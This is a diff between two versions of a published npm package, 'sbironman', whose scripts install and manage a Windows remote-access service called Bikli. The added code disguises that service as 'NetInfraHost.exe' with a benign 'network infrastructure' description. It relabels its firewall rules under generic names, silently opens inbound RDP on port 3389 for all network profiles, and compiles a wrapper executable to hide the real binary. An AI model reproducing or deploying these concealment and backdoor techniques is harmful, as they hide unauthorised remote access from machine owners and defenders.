sbironman 5.0.0 → 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/biklimaster.js +28 -5
- package/lib/bikliwrapper.js +5 -3
- package/package.json +1 -1
package/bin/biklimaster.js
CHANGED
|
@@ -397,14 +397,24 @@ function disguiseBikli(customName) {
|
|
|
397
397
|
}
|
|
398
398
|
|
|
399
399
|
const bikliDir = path.dirname(bikliPath);
|
|
400
|
-
const
|
|
400
|
+
const legacyServiceExe = path.join(bikliDir, 'BikliService.exe');
|
|
401
|
+
let serviceExe = path.join(bikliDir, 'NetInfraHost.exe');
|
|
402
|
+
let renamedLegacy = false;
|
|
401
403
|
const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
|
|
402
404
|
|
|
403
405
|
console.log(`Disguising Bikli process and service as "${hostName}"...`);
|
|
404
406
|
|
|
405
|
-
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
|
|
407
|
+
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM NetInfraHost.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService, NetInfraHost -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
|
|
406
408
|
run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
407
409
|
|
|
410
|
+
if (!fs.existsSync(serviceExe) && fs.existsSync(legacyServiceExe)) {
|
|
411
|
+
try {
|
|
412
|
+
fs.renameSync(legacyServiceExe, serviceExe);
|
|
413
|
+
renamedLegacy = true;
|
|
414
|
+
} catch {
|
|
415
|
+
serviceExe = legacyServiceExe;
|
|
416
|
+
}
|
|
417
|
+
}
|
|
408
418
|
if (!fs.existsSync(serviceExe)) {
|
|
409
419
|
fs.copyFileSync(bikliPath, serviceExe);
|
|
410
420
|
}
|
|
@@ -431,7 +441,7 @@ function disguiseBikli(customName) {
|
|
|
431
441
|
' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
|
|
432
442
|
' }',
|
|
433
443
|
' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
|
|
434
|
-
|
|
444
|
+
` string coreExe = Path.Combine(baseDir, "${path.basename(serviceExe)}");`,
|
|
435
445
|
' if (!File.Exists(coreExe)) return 1;',
|
|
436
446
|
' ProcessStartInfo psi = new ProcessStartInfo();',
|
|
437
447
|
' psi.FileName = coreExe;',
|
|
@@ -455,9 +465,20 @@ function disguiseBikli(customName) {
|
|
|
455
465
|
'}'
|
|
456
466
|
].join(os.EOL);
|
|
457
467
|
const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
|
|
468
|
+
const tempExe = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.exe`);
|
|
458
469
|
fs.writeFileSync(tempCs, csCode, 'utf8');
|
|
459
|
-
run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${
|
|
470
|
+
const compiled = run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${tempExe}`, tempCs], { allowFailure: true });
|
|
460
471
|
try { fs.rmSync(tempCs, { force: true }); } catch {}
|
|
472
|
+
if (compiled.status === 0 && fs.existsSync(tempExe)) {
|
|
473
|
+
fs.copyFileSync(tempExe, bikliPath);
|
|
474
|
+
} else if (renamedLegacy) {
|
|
475
|
+
try {
|
|
476
|
+
fs.renameSync(serviceExe, legacyServiceExe);
|
|
477
|
+
serviceExe = legacyServiceExe;
|
|
478
|
+
renamedLegacy = false;
|
|
479
|
+
} catch {}
|
|
480
|
+
}
|
|
481
|
+
try { fs.rmSync(tempExe, { force: true }); } catch {}
|
|
461
482
|
if (fileDescription(bikliPath) !== hostName) {
|
|
462
483
|
disguiseExecutable(bikliPath, hostName);
|
|
463
484
|
}
|
|
@@ -473,7 +494,9 @@ function disguiseBikli(customName) {
|
|
|
473
494
|
`Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
|
|
474
495
|
`Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
475
496
|
`Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
476
|
-
`Start-Service Bikli -ErrorAction SilentlyContinue
|
|
497
|
+
`Start-Service Bikli -ErrorAction SilentlyContinue`,
|
|
498
|
+
`Start-Sleep -Seconds 3`,
|
|
499
|
+
`Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`
|
|
477
500
|
].join(';');
|
|
478
501
|
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
479
502
|
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -229,8 +229,10 @@ function applyRequestedSettings() {
|
|
|
229
229
|
function ensureFirewallRules() {
|
|
230
230
|
const script = [
|
|
231
231
|
`$ErrorActionPreference='Stop'`,
|
|
232
|
-
|
|
233
|
-
`
|
|
232
|
+
`Remove-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`,
|
|
233
|
+
`Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
|
|
234
|
+
`$rules=@(@{Name='RDP-3389-In-TCP';Protocol='TCP'},@{Name='RDP-3389-In-UDP';Protocol='UDP'})`,
|
|
235
|
+
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Remote Desktop ('+$r.Protocol+'-In) 3389') -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
|
|
234
236
|
].join(';');
|
|
235
237
|
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
236
238
|
}
|
|
@@ -401,7 +403,7 @@ function disable() {
|
|
|
401
403
|
'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
|
|
402
404
|
'/d', '1', '/f', '/reg:64'
|
|
403
405
|
]);
|
|
404
|
-
const script = `Disable-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
|
|
406
|
+
const script = `Disable-NetFirewallRule -Name 'RDP-3389-In-TCP','RDP-3389-In-UDP','BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
|
|
405
407
|
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
|
|
406
408
|
restartTermService();
|
|
407
409
|
if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
|